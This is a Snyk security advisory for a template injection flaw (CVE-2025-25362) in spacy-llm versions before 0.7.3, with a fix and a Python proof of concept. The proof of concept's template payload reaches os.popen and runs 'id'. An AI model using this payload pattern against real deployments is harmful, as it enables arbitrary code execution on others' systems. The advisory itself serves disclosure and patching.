Template Injection Affecting spacy-llm package, versions [,0.7.3)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-SPACYLLM-9357542
- published7 Mar 2025
- disclosed5 Mar 2025
- creditEdoardo Ottavianelli
Introduced: 5 Mar 2025
NewCVE-2025-25362 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade spacy-llm to version 0.7.3 or higher.
Overview
spacy-llm is an Integrating LLMs into structured NLP pipelines
Affected versions of this package are vulnerable to Template Injection via the template field. An attacker can execute arbitrary code by injecting a crafted payload.
PoC
import spacy
nlp = spacy.load("en_core_web_sm")
config = {
"task": {
"@llm_tasks": "spacy.Summarization.v1",
"max_n_words": 100,
"template": "{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}",
},
"model": {"@llm_models": "spacy.Dolly.v1", "name": "dolly-v2-3b"},
"save_io": True,
}
llm = nlp.add_pipe("llm", config=config)
doc = "test"
doc = nlp(doc)
print(doc.user_data["llm_io"]["llm"]["prompt"])
# ['uid=1000(edoardottt) gid=1000(edoardottt) groups=1000(edoardottt), ...']